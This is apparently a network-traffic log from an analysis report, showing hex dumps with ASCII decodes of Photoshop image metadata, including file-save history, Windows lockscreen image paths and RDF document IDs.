2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2016-10-03T18:13:36-07:00 File C:\Users\v-lizagh\MS\Windo
2022-07-20 07:08:24 UTC	972	IN	Data Raw: 31 30 2d 32 34 54 31 32 3a 31 34 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 32 34 54 31 32 3a 31 39 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 50 72 65 74 74 79 50 69 63 73 5c 53 75 72 66 61 63 65 2d 50 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 37 30 35 35 37 34 39 5f 31 30 38 30 78 31 39 32 30 5f 77 69 74 68 49 4e 4b 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 32 34 54 31 32 3a 32 32 3a 31 36 2d 30 37 3a 30 30 26 23 78 39 Data Ascii: 10-24T12:14:12-07:00 File Lockscreen_1080x1920_Portrait.psd opened 2016-10-24T12:19:41-07:00 File C:\Users\v-lizagh\MS\Windows10\Surface\PrettyPics\Surface-Pen_GettyImages-137055749_1080x1920_withINK.jpg saved 2016-10-24T12:22:16-07:00&#x9
2022-07-20 07:08:24 UTC	1004	IN	Data Raw: 74 6f 45 6e 74 68 75 73 69 61 73 74 73 5f 46 30 44 32 38 57 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 36 3a 30 37 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 77 61 79 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 77 61 79 2d 50 68 6f 74 6f 45 6e 74 68 75 73 69 61 73 74 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 38 31 39 30 39 39 36 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 36 3a 30 39 3a 32 34 2d 30 38 3a 30 30 26 23 78 39 Data Ascii: toEnthusiasts_F0D28W_1080x1920.jpg saved 2016-11-23T16:07:25-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Sway\Crops\Office_Sway-PhotoEnthusiasts_GettyImages-181909964_1080x1920.jpg saved 2016-11-23T16:09:24-08:00&#x9
2022-07-20 07:08:24 UTC	1044	IN	Data Raw: 2d 30 32 2d 30 38 54 31 36 3a 33 38 3a 33 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 45 4f 59 5c 46 49 54 4e 45 53 53 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 45 4f 59 2d 46 49 54 4e 45 53 53 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 38 37 32 31 37 33 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 30 38 54 31 36 3a 33 38 3a 34 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 Data Ascii: -02-08T16:38:35-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\EOY\FITNESS\CHOSEN\Crops\MIT-EOY-FITNESS_GettyImages-538721739_1080x1920.jpg saved 2017-02-08T16:38:42-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portr
2022-07-20 07:08:24 UTC	1593	IN	Data Raw: 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 70 65 63 69 61 6c 4f 6c 79 6d 70 69 63 73 5c 43 48 4f 53 45 4e 5c 53 70 65 63 69 61 6c 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 37 37 37 32 31 35 32 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 36 54 30 39 3a 32 33 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 53 70 65 63 69 61 6c 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 37 37 37 32 31 35 32 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 36 54 30 39 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 Data Ascii: \v-lizagh\MS\Windows10\SpecialOlympics\CHOSEN\SpecialOlympics_GettyImages-177772152_1080x1920.psd saved 2017-02-26T09:23:25-08:00 File SpecialOlympics_GettyImages-177772152_1080x1920.psd opened 2017-02-26T09:25-08:00 File C:\Users\v-lizagh
2022-07-20 07:08:24 UTC	1625	IN	Data Raw: 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 75 73 69 6e 65 73 73 2d 50 68 69 6c 61 6e 74 68 72 6f 70 69 65 73 5c 43 48 4f 53 45 4e 5c 50 68 69 6c 61 6e 74 68 72 6f 70 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 35 32 33 37 32 36 33 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 30 34 54 31 34 3a 31 34 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 75 73 69 6e 65 73 73 2d 50 68 69 6c 61 6e 74 68 72 6f 70 69 65 73 5c 43 48 4f 53 45 4e 5c 50 68 69 6c 61 6e 74 68 72 6f 70 69 65 73 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 37 32 39 30 35 32 38 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 Data Ascii: MS\Windows10\Business-Philanthropies\CHOSEN\Philanthropies_GettyImages-652372637_1080x1920.jpg saved 2017-04-04T14:14:12-07:00 File C:\Users\v-lizagh\MS\Windows10\Business-Philanthropies\CHOSEN\Philanthropies_shutterstock_72905284_1080x1920.jpg sa
2022-07-20 07:08:24 UTC	1696	IN	Data Raw: 61 74 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 31 36 37 35 35 35 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 30 3a 34 32 3a 31 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5c 43 48 4f 53 45 4e 5c 57 69 6e 2d 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 30 35 31 38 34 35 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 30 3a 34 36 3a 31 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c Data Ascii: ate_GettyImages-511675552_1080x1920.jpg saved 2017-05-11T10:42:14-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\CreatorsUpdate\CHOSEN\Win-CreatorsUpdate_GettyImages-560518453_1080x1920.jpg saved 2017-05-11T10:46:11-07:00 File C:\Users\
2022-07-20 07:08:24 UTC	1768	IN	Data Raw: 52 6f 75 6e 64 33 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 50 43 2d 52 65 66 72 65 73 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 38 31 35 30 33 38 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 36 54 31 32 3a 30 38 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 43 2d 52 65 66 72 65 73 68 5c 52 6f 75 6e 64 33 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 50 43 2d 52 65 66 72 65 73 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 37 37 39 36 31 34 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 36 54 31 32 3a 31 33 3a 34 33 2d 30 37 3a 30 Data Ascii: Round3\Chosen\Crops\PC-Refresh_GettyImages-518150381_1080x1920.jpg saved 2017-05-16T12:08:24-07:00 File C:\Users\v-lizagh\MS\Windows10\PC-Refresh\Round3\Chosen\Crops\PC-Refresh_GettyImages-667796149_1080x1920.jpg saved 2017-05-16T12:13:43-07:0
2022-07-20 07:08:24 UTC	1823	IN	Data Raw: 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 61 6b 69 6e 67 41 44 69 66 66 65 72 65 6e 63 65 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 61 6b 69 6e 67 41 44 69 66 66 65 72 65 6e 63 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 32 36 31 33 36 33 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 33 54 32 31 3a 34 35 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f Data Ascii: File C:\Users\v-lizagh\MS\Windows10\Microsoft\MakingADifference\Chosen\Crops\MakingADifference_GettyImages-502613631_1080x1920.jpg saved 2017-07-03T21:45:32-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lo
2022-07-20 07:08:24 UTC	1895	IN	Data Raw: 6e 64 6f 77 73 4d 4d 58 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 32 34 34 34 36 36 32 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 34 3a 30 38 3a 30 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 33 36 30 32 31 39 33 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 34 3a 31 35 3a 32 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 Data Ascii: ndowsMMX_GettyImages-624446620_1080x1920.jpg saved 2017-07-26T14:08:02-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\_CHOSEN\Crops\WindowsMMX_GettyImages-636021934_1080x1920.jpg saved 2017-07-26T14:15:20-07:00 File C:\Users\v-lizag
2022-07-20 07:08:24 UTC	1966	IN	Data Raw: 6e 2d 4c 65 61 72 6e 69 6e 67 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 39 39 38 36 33 31 38 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 34 54 31 33 3a 35 39 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 69 6e 6b 65 64 49 6e 2d 4c 65 61 72 6e 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 38 32 32 33 32 38 30 5f 31 30 38 30 78 31 39 32 30 30 46 44 36 45 35 34 33 31 41 36 36 34 44 37 33 43 31 45 43 44 44 33 42 34 45 30 36 37 44 36 43 2e 70 73 62 Data Ascii: n-Learning_shutterstock_199863185_1080x1920.jpg saved 2017-08-14T13:59:35-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_LinkedIn-Learning_GettyImages-108223280_1080x19200FD6E5431A664D73C1ECDD3B4E067D6C.psb
2022-07-20 07:08:24 UTC	2118	IN	Data Raw: 2d 31 33 54 31 38 3a 30 30 3a 35 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 53 6f 63 63 65 72 5f 41 6c 61 6d 79 2d 47 39 44 48 52 33 5f 31 30 38 30 78 31 39 32 30 35 39 38 31 39 30 46 33 43 43 46 32 36 37 43 34 30 38 45 38 31 31 30 36 46 33 43 41 45 38 35 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 33 54 31 38 3a 31 34 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b Data Ascii: -13T18:00:57-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-Soccer_Alamy-G9DHR3_1080x1920598190F3CCF267C408E81106F3CAE857.psb saved 2017-10-13T18:14:08-07:00 File C:\Users\v-lizagh\MS\Windows10\Lock
2022-07-20 07:08:24 UTC	2134	IN	Data Raw: 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 30 54 31 37 3a 34 34 3a 30 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 30 54 31 37 3a 34 35 3a 33 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 41 75 73 74 72 61 6c 69 61 5c 43 68 6f 73 65 6e 5c 31 31 30 39 31 37 5c 43 72 6f 70 73 5c 4d 53 2d 52 65 77 61 72 64 73 2d 41 Data Ascii: MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-11-20T17:44:09-08:00 File Lockscreen_1080x1920_Portrait.psd opened 2017-11-20T17:45:38-08:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\Australia\Chosen\110917\Crops\MS-Rewards-A
2022-07-20 07:08:24 UTC	2205	IN	Data Raw: 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 4e 5a 2d 53 69 6e 67 2d 49 52 45 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 72 65 77 61 72 64 73 2d 49 72 65 6c 61 6e 64 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 39 36 37 32 34 35 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 37 54 31 32 3a 34 36 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c Data Ascii: 8:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\NZ-Sing-IRE\CHOSEN\Crops\MSrewards-Ireland_GettyImages-519672457_1080x1920.jpg saved 2017-12-07T12:46:08-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\
2022-07-20 07:08:24 UTC	2436	IN	Data Raw: 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 4e 42 41 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 42 41 2d 49 6e 74 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 37 32 37 31 30 37 32 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 30 39 54 30 38 3a 32 37 3a 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 4e 42 41 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 42 41 2d 49 6e 74 6c 5f 47 65 74 74 79 49 6d 61 67 Data Ascii: 9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\NBA\Chosen\Crops\MIT-NBA-Intl_GettyImages-147271072_1080x1920.psd saved 2018-01-09T08:27:07-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\NBA\Chosen\Crops\MIT-NBA-Intl_GettyImag
2022-07-20 07:08:24 UTC	2452	IN	Data Raw: 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 38 54 31 33 3a 35 38 3a 31 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 32 33 34 39 37 37 32 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 38 54 31 34 3a 30 30 3a 30 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 Data Ascii: saved 2018-02-08T13:58:19-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_GettyImages-623497726_1080x1920.jpg saved 2018-02-08T14:00:02-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pi
2022-07-20 07:08:24 UTC	2699	IN	Data Raw: 3b 32 30 31 38 2d 30 32 2d 32 38 54 31 30 3a 30 34 3a 33 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 38 54 31 30 3a 31 37 3a 30 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 69 78 65 64 52 65 61 6c 69 74 79 5c 46 59 31 38 43 61 6d 70 61 69 67 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 4d 52 2d 48 4d 44 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 33 30 31 30 30 33 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 Data Ascii: ;2018-02-28T10:04:37-08:00 File Lockscreen_1080x1920_Portrait.psd opened 2018-02-28T10:17:02-08:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MixedReality\FY18Campaign\CHOSEN\Crops\WMR-HMD_GettyImages-563010035_1080x1920.jpg saved 2018-02
2022-07-20 07:08:24 UTC	2754	IN	Data Raw: 6f 75 73 65 5f 35 30 30 70 78 2d 39 35 35 32 30 37 34 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 32 54 30 39 3a 31 33 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 53 75 72 66 61 63 65 4d 6f 75 73 65 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 53 75 72 66 61 63 65 4d 6f 75 73 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 37 39 32 35 38 33 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 32 54 30 39 3a 31 36 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c Data Ascii: ouse_500px-95520743_1080x1920.jpg saved 2018-03-22T09:13:27-07:00 File C:\Users\v-lizagh\MS\Windows10\China\SurfaceMouse\_CHOSEN\Crops\China-SurfaceMouse_GettyImages-597925836_1080x1920.jpg saved 2018-03-22T09:16:19-07:00 File C:\Users\v-l
2022-07-20 07:08:24 UTC	2770	IN	Data Raw: 37 41 32 46 42 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 37 34 37 42 44 34 43 43 33 45 31 32 44 43 43 37 45 45 45 32 46 30 38 37 32 35 34 37 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 37 39 44 43 41 31 32 42 32 37 33 45 30 45 38 42 34 30 32 33 43 46 38 37 37 34 42 34 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 37 44 43 35 34 31 37 42 31 36 34 43 43 39 32 42 37 34 30 30 41 38 46 31 32 31 36 41 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 38 31 30 34 37 30 34 32 35 34 43 43 33 37 39 39 35 31 35 38 32 31 31 34 44 33 38 45 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 38 36 39 39 33 30 30 36 41 39 41 34 30 46 44 30 36 45 31 44 33 30 30 41 35 34 31 35 Data Ascii: 7A2FBBA</rdf:li> <rdf:li>0C747BD4CC3E12DCC7EEE2F0872547B7</rdf:li> <rdf:li>0C79DCA12B273E0E8B4023CF8774B47D</rdf:li> <rdf:li>0C7DC5417B164CC92B7400A8F1216AFA</rdf:li> <rdf:li>0C8104704254CC379951582114D38E0A</rdf:li> <rdf:li>0C86993006A9A40FD06E1D300A5415
2022-07-20 07:08:24 UTC	2985	IN	Data Raw: 31 34 43 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 36 30 32 43 30 37 39 34 44 39 44 44 37 42 35 31 32 34 31 31 43 34 36 31 43 35 35 36 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 37 34 33 36 34 42 43 39 30 42 46 44 37 30 35 31 42 33 30 36 31 39 42 35 45 41 45 31 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 38 37 45 32 32 32 36 31 32 37 39 30 43 30 42 30 43 34 36 43 42 42 39 41 38 33 30 30 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 39 34 33 32 37 41 45 37 36 32 45 38 32 46 46 41 38 43 38 38 35 30 36 45 44 46 34 32 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 42 43 39 31 39 42 43 46 46 34 31 30 39 38 34 34 45 31 36 38 33 32 38 30 45 42 34 44 43 37 Data Ascii: 14CA9</rdf:li> <rdf:li>12602C0794D9DD7B512411C461C5568C</rdf:li> <rdf:li>1274364BC90BFD7051B30619B5EAE19A</rdf:li> <rdf:li>1287E222612790C0B0C46CBB9A830036</rdf:li> <rdf:li>1294327AE762E82FFA8C88506EDF421B</rdf:li> <rdf:li>12BC919BCFF4109844E1683280EB4DC7
